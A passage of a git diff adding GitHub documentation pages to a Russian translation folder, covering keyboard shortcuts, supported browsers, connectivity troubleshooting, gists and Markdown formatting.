(Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>7</kbd> (Windows/Linux) | Inserts Markdown formatting for an ordered list +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>8</kbd> (Windows/Linux) | Inserts Markdown formatting for an unordered list +|<kbd>Command</kbd>+<kbd>Enter</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Enter</kbd> (Windows/Linux) | Submits a comment +|<kbd>Ctrl</kbd>+<kbd>.</kbd> and then <kbd>Ctrl</kbd>+<kbd>[saved reply number]</kbd> | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)." +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>.</kbd> (Windows/Linux) | Inserts Markdown formatting for a quote{% ifversion fpt or ghec %} +|<kbd>Command</kbd>+<kbd>G</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>G</kbd> (Windows/Linux) | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %} +|<kbd>R</kbd> | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." | + +## Issue and pull request lists + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>C</kbd> | Create an issue +|<kbd>Command</kbd>+<kbd>/</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>/</kbd> (Windows/Linux) | Focus your cursor on the issues or pull requests search bar. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."|| +|<kbd>U</kbd> | Filter by author +|<kbd>L</kbd> | Filter by or edit labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)." +|<kbd>Alt</kbd> and click | While filtering by labels, exclude labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)." +|<kbd>M</kbd> | Filter by or edit milestones. For more information, see "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)." +|<kbd>A</kbd> | Filter by or edit assignee. For more information, see "[Filtering issues and pull requests by assignees](/articles/filtering-issues-and-pull-requests-by-assignees)." +|<kbd>O</kbd> or <kbd>Enter</kbd> | Open issue + +## Issues and pull requests +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Q</kbd> | Request a reviewer. For more information, see "[Requesting a pull request review](/articles/requesting-a-pull-request-review/)." +|<kbd>M</kbd> | Set a milestone. For more information, see "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)." +|<kbd>L</kbd> | Apply a label. For more information, see "[Applying labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests/)." +|<kbd>A</kbd> | Set an assignee. For more information, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/articles/assigning-issues-and-pull-requests-to-other-github-users/)." +|<kbd>X</kbd> | Link an issue or pull request from the same repository. For more information, see "[Linking a pull request to an issue](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue/)." +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux) | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %} +|<kbd>Alt</kbd> and click | When creating an issue from a task list, open the new issue form in the current tab by holding <kbd>Alt</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." +|<kbd>Shift</kbd> and click | When creating an issue from a task list, open the new issue form in a new tab by holding <kbd>Shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." +|<kbd>Command</kbd> and click (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd> and click (Windows/Linux) | When creating an issue from a task list, open the new issue form in the new window by holding <kbd>Command</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %} + +## Changes in pull requests + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>C</kbd> | Open the list of commits in the pull request +|<kbd>T</kbd> | Open the list of changed files in the pull request +|<kbd>J</kbd> | Move selection down in the list +|<kbd>K</kbd> | Move selection up in the list +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>Enter</kbd> | Add a single comment on a pull request diff | +|<kbd>Alt</kbd> and click | Toggle between collapsing and expanding all outdated review comments in a pull request by holding down <kbd>Alt</kbd> and clicking **Show outdated** or **Hide outdated**.| +|Click, then <kbd>Shift</kbd> and click | Comment on multiple lines of a pull request by clicking a line number, holding <kbd>Shift</kbd>, then clicking another line number. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."| + +{% ifversion projects-v2 %} + +## {% data variables.projects.projects_v2_caps %} + +### Navigating a project + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Command</kbd>+<kbd>f</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>f</kbd> (Windows/Linux) | Focus filter field +|<kbd>←</kbd> | Move cell focus to the left +|<kbd>→</kbd> | Move cell focus to the right +|<kbd>↑</kbd> | Move cell focus up +|<kbd>↓</kbd> | Move cell focus down + +### Manipulating a project + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Enter</kbd> | Toggle edit mode for the focused cell +|<kbd>Escape</kbd> | Cancel editing for the focused cell +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>\</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>\</kbd> (Windows/Linux) | Open row actions menu +|<kbd>Shift</kbd>+<kbd>Space</kbd> | Select item +|<kbd>Space</kbd> | Open selected item +|<kbd>e</kbd> | Archive selected items + +{% endif %} + +## {% data variables.product.prodname_projects_v1_caps %} + +### Moving a column + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Enter</kbd> or <kbd>Space</kbd> | Start moving the focused column +|<kbd>Esc</kbd> | Cancel the move in progress +|<kbd>Enter</kbd> | Complete the move in progress +|<kbd>←</kbd> or <kbd>H</kbd> | Move column to the left +|<kbd>Command</kbd>+<kbd>←</kbd> or <kbd>Command</kbd>+<kbd>H</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>←</kbd> or <kbd>Ctrl</kbd>+<kbd>H</kbd> (Windows/Linux) | Move column to the leftmost position +|<kbd>→</kbd> or <kbd>L</kbd> | Move column to the right +|<kbd>Command</kbd>+<kbd>→</kbd> or <kbd>Command</kbd>+<kbd>L</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>→</kbd> or <kbd>Ctrl</kbd>+<kbd>L</kbd> (Windows/Linux) | Move column to the rightmost position + +### Moving a card + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Enter</kbd> or <kbd>Space</kbd> | Start moving the focused card +|<kbd>Esc</kbd> | Cancel the move in progress +|<kbd>Enter</kbd> | Complete the move in progress +|<kbd>↓</kbd> or <kbd>J</kbd> | Move card down +|<kbd>Command</kbd>+<kbd>↓</kbd> or <kbd>Command</kbd>+<kbd>J</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>↓</kbd> or <kbd>Ctrl</kbd>+<kbd>J</kbd> (Windows/Linux) | Move card to the bottom of the column +|<kbd>↑</kbd> or <kbd>K</kbd> | Move card up +|<kbd>Command</kbd>+<kbd>↑</kbd> or <kbd>Command</kbd>+<kbd>K</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>↑</kbd> or <kbd>Ctrl</kbd>+<kbd>K</kbd> (Windows/Linux) | Move card to the top of the column +|<kbd>←</kbd> or <kbd>H</kbd> | Move card to the bottom of the column on the left +|<kbd>Shift</kbd>+<kbd>←</kbd> or <kbd>Shift</kbd>+<kbd>H</kbd> | Move card to the top of the column on the left +|<kbd>Command</kbd>+<kbd>←</kbd> or <kbd>Command</kbd>+<kbd>H</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>←</kbd> or <kbd>Ctrl</kbd>+<kbd>H</kbd> (Windows/Linux) | Move card to the bottom of the leftmost column +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>←</kbd> or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>H</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>←</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>H</kbd> (Windows/Linux) | Move card to the top of the leftmost column +|<kbd>→</kbd> | Move card to the bottom of the column on the right +|<kbd>Shift</kbd>+<kbd>→</kbd> or <kbd>Shift</kbd>+<kbd>L</kbd> | Move card to the top of the column on the right +|<kbd>Command</kbd>+<kbd>→</kbd> or <kbd>Command</kbd>+<kbd>L</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>→</kbd> or <kbd>Ctrl</kbd>+<kbd>L</kbd> (Windows/Linux) | Move card to the bottom of the rightmost column +|<kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>→</kbd> or <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>L</kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>→</kbd> or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>L</kbd> (Windows/Linux) | Move card to the bottom of the rightmost column + +### Previewing a card + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Esc</kbd> | Close the card preview pane + +{% ifversion fpt or ghec %} +## {% data variables.product.prodname_actions %} + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>Command</kbd>+<kbd>Space </kbd> (Mac) or </br> <kbd>Ctrl</kbd>+<kbd>Space</kbd> (Windows/Linux) | In the workflow editor, get suggestions for your workflow file. +|<kbd>G</kbd> <kbd>F</kbd> | Go to the workflow file +|<kbd>Shift</kbd>+<kbd>T</kbd> or <kbd>T</kbd> | Toggle timestamps in logs +|<kbd>Shift</kbd>+<kbd>F</kbd> or <kbd>F</kbd> | Toggle full-screen logs +|<kbd>Esc</kbd> | Exit full-screen logs + +{% endif %} + +## Notifications + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>E</kbd> | Mark as done +|<kbd>Shift</kbd>+<kbd>U</kbd>| Mark as unread +|<kbd>Shift</kbd>+<kbd>I</kbd>| Mark as read +|<kbd>Shift</kbd>+<kbd>M</kbd> | Unsubscribe + +## Network graph + +| Keyboard shortcut | Description +|-----------|------------ +|<kbd>←</kbd> or <kbd>H</kbd> | Scroll left +|<kbd>→</kbd> or <kbd>L</kbd> | Scroll right +|<kbd>↑</kbd> or <kbd>K</kbd> | Scroll up +|<kbd>↓</kbd> or <kbd>J</kbd> | Scroll down +|<kbd>Shift</kbd>+<kbd>←</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>H</kbd> (Windows/Linux) | Scroll all the way left +|<kbd>Shift</kbd>+<kbd>→</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>L</kbd> (Windows/Linux) | Scroll all the way right +|<kbd>Shift</kbd>+<kbd>↑</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>K</kbd> (Windows/Linux) | Scroll all the way up +|<kbd>Shift</kbd>+<kbd>↓</kbd> (Mac) or </br> <kbd>Shift</kbd>+<kbd>J</kbd> (Windows/Linux) | Scroll all the way down diff --git a/translations/ru-RU/content/get-started/using-github/supported-browsers.md b/translations/ru-RU/content/get-started/using-github/supported-browsers.md new file mode 100644 index 000000000000..cc545c976957 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/supported-browsers.md @@ -0,0 +1,47 @@ +--- +title: Поддерживаемые браузеры +redirect_from: + - /articles/why-doesn-t-graphs-work-with-ie-8 + - /articles/why-don-t-graphs-work-with-ie8 + - /articles/supported-browsers + - /github/getting-started-with-github/supported-browsers + - /github/getting-started-with-github/using-github/supported-browsers +intro: 'Для оптимальной работы с {% data variables.product.product_name %} рекомендуем использовать последнюю версию [Chrome](https://google.com/chrome), [Edge](https://microsoft.com/windows/microsoft-edge), [Firefox](https://mozilla.org/firefox) или [Safari](https://apple.com/safari).' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 2d50e3c2fc18bd2522a8b3415127cc37b332660f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139681' +--- +## Сведения о поддержке веб-браузеров для {% data variables.product.product_name %} + +Мы разрабатываем {% data variables.product.product_name %} с учетом последних версий веб-браузеров. Поэтому рекомендуется использовать последнюю версию одного из следующих браузеров. + + - [Apple Safari;](https://apple.com/safari) + - [Google Chrome](https://google.com/chrome) + - [Microsoft Edge](https://microsoft.com/windows/microsoft-edge) + - [Mozilla Firefox](https://mozilla.org/firefox) + +Если вы не используете последнюю версию рекомендуемого браузера или выбрали браузер, не указанный выше, {% data variables.product.product_name %} или некоторые функции могут не работать должным образом или вообще не работать. + +Дополнительные сведения о том, как мы поддерживаем совместимость браузеров для продуктов {% data variables.product.company_short %}, см. в репозитории [`github/browser-support`](https://github.com/github/browser-support). +## Расширенная поддержка рекомендуемых веб-браузеров + +Некоторые поставщики браузеров предоставляют выпуски расширенной поддержки. Мы делаем все возможное, чтобы обеспечить соответствующее функционирование {% data variables.product.product_name %} в последних выпусках расширенной поддержки следующих браузеров: + +- Chrome [extended stable channel](https://support.google.com/chrome/a/answer/9027636) +- Edge [Extended Stable Channel](https://docs.microsoft.com/en-gb/deployedge/microsoft-edge-channels#extended-stable-channel) +- Firefox [Extended Support Release](https://www.mozilla.org/en-US/firefox/organizations/) (ESR) + +В более ранних выпусках расширенной поддержки {% data variables.product.product_name %} может не работать должным образом, и некоторые функции могут быть недоступны. + + +## Сборки бета-версии и версии разработчика + +Вы можете столкнуться с непредвиденными ошибками в сборках бета-версии и версии разработчика поддерживаемых нами браузеров. Если вы столкнулись с ошибкой в {% data variables.product.product_name %} в одной из этих невыпущенных сборок, проверьте, есть ли эта ошибка также и в стабильной версии того же браузера. Если ошибка существует только в нестабильной версии, попробуйте сообщить об ошибке разработчику браузера. diff --git a/translations/ru-RU/content/get-started/using-github/troubleshooting-connectivity-problems.md b/translations/ru-RU/content/get-started/using-github/troubleshooting-connectivity-problems.md new file mode 100644 index 000000000000..ac54afbfb7b0 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/troubleshooting-connectivity-problems.md @@ -0,0 +1,53 @@ +--- +title: Устранение проблем с подключениями +intro: 'Если у вас возникли проблемы с подключением к {% data variables.product.prodname_dotcom %}, вы можете устранить неполадки с подключением, а затем используйте средство {% data variables.product.prodname_debug %} для диагностики проблем.' +redirect_from: + - /articles/troubleshooting-connectivity-problems + - /github/getting-started-with-github/troubleshooting-connectivity-problems + - /github/getting-started-with-github/using-github/troubleshooting-connectivity-problems +versions: + fpt: '*' + ghec: '*' +shortTitle: Connectivity problems +ms.openlocfilehash: 0f3c37070b517b059ca0242fe387492b6266f205 +ms.sourcegitcommit: a9d8d12680b6f8d6fc651a23262e4ad85b185040 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148101703' +--- +Чаще всего проблемы с подключением возникают из-за того, что в настройках брандмауэра, прокси-сервера, корпоративной или другой сети заблокирован {% data variables.product.prodname_dotcom %}. + +## Разрешение IP-адресов {% data variables.product.prodname_dotcom %} + +Убедитесь, что в настройках сети разрешены IP-адреса {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Сведения об IP-адресах {% data variables.product.prodname_dotcom %}](/articles/about-github-s-ip-addresses). + +## Использование сети компании или организации + +Если у вас возникли проблемы при работе в сети компании или организации, узнайте у администратора, блокируется ли в сети определенный трафик. Если такая блокировка существует, попросите администратора сети разрешить трафик на {% data variables.product.prodname_dotcom %}. + +## Устранение неполадок в работе службы CAPTCHA + +Если вы не можете пройти проверку с помощью CAPTCHA: +- Убедитесь, что в браузере включен JavaScript. +- Убедитесь, что ваш браузер поддерживается. Если браузер не поддерживается, обновите его или установите поддерживаемый браузер. Список поддерживаемых браузеров см. [здесь](/articles/supported-browsers). +- Убедитесь, что в настройках сети не заблокирован веб-сайт https://octocaptcha.com/ или https://arkoselabs.com/. Если вы находитесь за корпоративным брандмауэром, попросите ИТ-администратора разрешить эти домены. Чтобы проверить доступ к ним, откройте страницу https://octocaptcha.com/test и убедитесь в наличии текста "Connection successfully made!" (Подключение установлено), а затем откройте страницу https://client-demo.arkoselabs.com/github и убедитесь, что можете загрузить CAPTCHA. +- Убедитесь, что в браузере нет подключаемых модулей или расширений, которые могут мешать работе GitHub. Если они есть, отключите их на время проверки CAPTCHA. + +## Переключение между методами клонирования + +Переключение с клонирования через SSH на клонирование через HTTPS или наоборот может улучшить подключение. Дополнительные сведения см. в разделе "[Устранение ошибок клонирования](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors)". + +Если вы предпочитаете использовать SSH, но порт заблокирован, можно использовать альтернативный порт. Дополнительные сведения см. в разделе "[Использование SSH через порт HTTPS](/authentication/troubleshooting-ssh/using-ssh-over-the-https-port)". + +Если при использовании SSH возникает превышение времени ожидания, см. раздел "[Ошибка: недопустимый номер файла](/articles/error-bad-file-number)". + +## Решение проблем с низкой скоростью загрузки и периодическим падением скорости подключения + +{% data variables.product.prodname_dotcom %} не регулирует пропускную способность для каждого пользователя. + +Если скорость вашего подключения снижается только в определенное время суток, скорее всего, это происходит из-за перегрузки сети. Поскольку {% data variables.product.prodname_dotcom %} не может решить проблемы с перегрузкой сети, обратитесь к своему поставщику услуг Интернета. + +## Устранение неполадок с помощью {% data variables.product.prodname_debug %} + +Если вы выполнили все описанные выше рекомендации по устранению неполадок и по-прежнему испытываете проблемы с подключением, следуйте инструкциям на сайте {% data variables.product.prodname_debug %}, чтобы выполнить тесты и отправить отчеты в службу поддержки {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в статье разделе [{% data variables.product.prodname_debug %}](https://github-debug.com/). diff --git a/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md b/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md new file mode 100644 index 000000000000..d661f15ac26e --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md @@ -0,0 +1,83 @@ +--- +title: Creating gists +intro: 'You can create two kinds of gists: {% ifversion ghae %}internal{% else %}public{% endif %} and secret. Create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist if you''re ready to share your ideas with {% ifversion ghae %}enterprise members{% else %}the world{% endif %} or a secret gist if you''re not.' +permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' +redirect_from: + - /articles/about-gists + - /articles/cannot-delete-an-anonymous-gist + - /articles/deleting-an-anonymous-gist + - /articles/creating-gists + - /github/writing-on-github/creating-gists + - /github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +## About gists + +Every gist is a Git repository, which means that it can be forked and cloned. {% ifversion not ghae %}If you are signed in to {% data variables.product.product_name %} when{% else %}When{% endif %} you create a gist, the gist will be associated with your account and you will see it in your list of gists when you navigate to your {% data variables.gists.gist_homepage %}. + +Gists can be {% ifversion ghae %}internal{% else %}public{% endif %} or secret. {% ifversion ghae %}Internal{% else %}Public{% endif %} gists show up in {% data variables.gists.discover_url %}, where {% ifversion ghae %}enterprise members{% else %}people{% endif %} can browse new gists as they're created. They're also searchable, so you can use them if you'd like other people to find and see your work. + +Secret gists don't show up in {% data variables.gists.discover_url %} and are not searchable unless you are logged in and are the author of the secret gist. Secret gists aren't private. If you send the URL of a secret gist to {% ifversion ghae %}another enterprise member{% else %}a friend{% endif %}, they'll be able to see it. However, if {% ifversion ghae %}any other enterprise member{% else %}someone you don't know{% endif %} discovers the URL, they'll also be able to see your gist. If you need to keep your code away from prying eyes, you may want to [create a private repository](/articles/creating-a-new-repository) instead. + +{% data reusables.gist.cannot-convert-public-gists-to-secret %} + +{% ifversion ghes %} + +If your site administrator has disabled private mode, you can also use anonymous gists, which can be public or secret. + +{% data reusables.gist.anonymous-gists-cannot-be-deleted %} + +{% endif %} + +You'll receive a notification when: +- You are the author of a gist. +- Someone mentions you in a gist. +- You subscribe to a gist, by clicking **Subscribe** at the top of any gist. + +{% ifversion fpt or ghes or ghec %} + +You can pin gists to your profile so other people can see them easily. For more information, see "[Pinning items to your profile](/articles/pinning-items-to-your-profile)." + +{% endif %} + +You can discover {% ifversion ghae %}internal{% else %}public{% endif %} gists others have created by going to the {% data variables.gists.gist_homepage %} and clicking **All Gists**. This will take you to a page of all gists sorted and displayed by time of creation or update. You can also search gists by language with {% data variables.gists.gist_search_url %}. Gist search uses the same search syntax as [code search](/search-github/searching-on-github/searching-code). + +Since gists are Git repositories, you can view their full commit history, complete with diffs. You can also fork or clone gists. For more information, see ["Forking and cloning gists"](/articles/forking-and-cloning-gists). + +You can download a ZIP file of a gist by clicking the **Download ZIP** button at the top of the gist. You can embed a gist in any text field that supports Javascript, such as a blog post. To get the embed code, click the clipboard icon next to the **Embed** URL of a gist. To embed a specific gist file, append the **Embed** URL with `?file=FILENAME`. + +{% ifversion fpt or ghec %} + +Gist supports mapping GeoJSON files. These maps are displayed in embedded gists, so you can easily share and embed maps. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)." + +{% endif %} + +## Creating a gist + +Follow the steps below to create a gist. + +{% note %} + +You can also create a gist using the {% data variables.product.prodname_cli %}. For more information, see "[`gh gist create`](https://cli.github.com/manual/gh_gist_create)" in the {% data variables.product.prodname_cli %} documentation. + +Alternatively, you can drag and drop a text file from your desktop directly into the editor. + +{% endnote %} + +1. Sign in to {% data variables.product.product_name %}. +2. Navigate to your {% data variables.gists.gist_homepage %}. +3. Type an optional description and name for your gist. +![Gist name description](/assets/images/help/gist/gist_name_description.png) + +4. Type the text of your gist into the gist text box. +![Gist text box](/assets/images/help/gist/gist_text_box.png) + +5. Optionally, to create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %}, then click **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. +![Drop-down menu to select gist visibility]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %} + +6. Click **Create secret Gist** or **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. + ![Button to create gist](/assets/images/help/gist/create-secret-gist-button.png) diff --git a/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md new file mode 100644 index 000000000000..ee0eaf082665 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md @@ -0,0 +1,41 @@ +--- +title: Создание вилок и клонирование gist +intro: 'Объекты Gist на самом деле представляют собой репозитории Git, и это означает, что вы можете разветвлять или клонировать любой объект gist, даже если вы не являетесь оригинальным автором. Вы также можете просмотреть полную историю фиксаций gist, включая diff.' +permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' +redirect_from: + - /articles/forking-and-cloning-gists + - /github/writing-on-github/forking-and-cloning-gists + - /github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 74161c03eca21f3a2dc6465439d22fee0edb758d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145069877' +--- +## Создание вилок gist + +В каждом gist указывается, в каких вилках имеется активность, что упрощает нахождение интересных изменений, внесенных другими пользователями. + +![Вилки gist](/assets/images/help/gist/gist_forks.png) + +## Клонирование gist + +Если вы хотите внести локальные изменения в gist и отправить их на сайт, вы можете клонировать gist и выполнить фиксации так же, как и в любом репозитории GIT. Дополнительные сведения см. в разделе [Клонирование репозитория](/articles/cloning-a-repository). + +![Кнопка клонирования gist](/assets/images/help/gist/gist_clone_btn.png) + +## Просмотр журнала фиксаций gist + +Чтобы просмотреть полный журнал фиксаций gist, выберите вкладку "Редакции" в верхней части gist. + +![Вкладка редакций gist](/assets/images/help/gist/gist_revisions_tab.png) + +Отобразится полный журнал фиксаций для gist с различиями. + +![Страница редакций gist](/assets/images/help/gist/gist_history.png) diff --git a/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md b/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md new file mode 100644 index 000000000000..7c98cbe967e0 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md @@ -0,0 +1,25 @@ +--- +title: Изменение и совместное использование содержимого с помощью gist +intro: '' +redirect_from: + - /categories/23/articles + - /categories/gists + - /articles/editing-and-sharing-content-with-gists + - /github/writing-on-github/editing-and-sharing-content-with-gists +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /creating-gists + - /forking-and-cloning-gists +shortTitle: Share content with gists +ms.openlocfilehash: 925e0b03ae524ed7bf4a59315ce9fcf1ab0d650f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145069876' +--- + diff --git a/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md new file mode 100644 index 000000000000..ffec457383f4 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md @@ -0,0 +1,45 @@ +--- +title: About writing and formatting on GitHub +intro: GitHub combines a syntax for formatting text called GitHub Flavored Markdown with a few unique writing features. +redirect_from: + - /articles/about-writing-and-formatting-on-github + - /github/writing-on-github/about-writing-and-formatting-on-github + - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: About writing & formatting +--- +[Markdown](http://daringfireball.net/projects/markdown/) is an easy-to-read, easy-to-write syntax for formatting plain text. + +We've added some custom functionality to create {% data variables.product.prodname_dotcom %} Flavored Markdown, used to format prose and code across our site. + +You can also interact with other users in pull requests and issues using features like [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), [issue and PR references](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests), and [emoji](/articles/basic-writing-and-formatting-syntax/#using-emoji). + +## Text formatting toolbar + +Every comment field on {% data variables.product.product_name %} contains a text formatting toolbar, allowing you to format your text without learning Markdown syntax. In addition to Markdown formatting like bold and italic styles and creating headers, links, and lists, the toolbar includes {% data variables.product.product_name %}-specific features such as @mentions, task lists, and links to issues and pull requests. + +{% ifversion fixed-width-font-gfm-fields %} + +## Enabling fixed-width fonts in the editor + +You can enable a fixed-width font in every comment field on {% data variables.product.product_name %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space which can make it easier to edit advanced Markdown structures such as tables and code snippets. + +![Screenshot showing the {% data variables.product.product_name %} comment field with fixed-width fonts enabled](/assets/images/help/writing/fixed-width-example.png) + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.appearance-settings %} +1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**. + ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed width fonts enabled](/assets/images/help/writing/enable-fixed-width.png) + +{% endif %} + +## Further reading + +- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/) +- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)" +- "[Working with advanced formatting](/articles/working-with-advanced-formatting)" +- "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)" diff --git a/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md new file mode 100644 index 000000000000..5047a0f091ee --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md @@ -0,0 +1,385 @@ +--- +title: Basic writing and formatting syntax +intro: 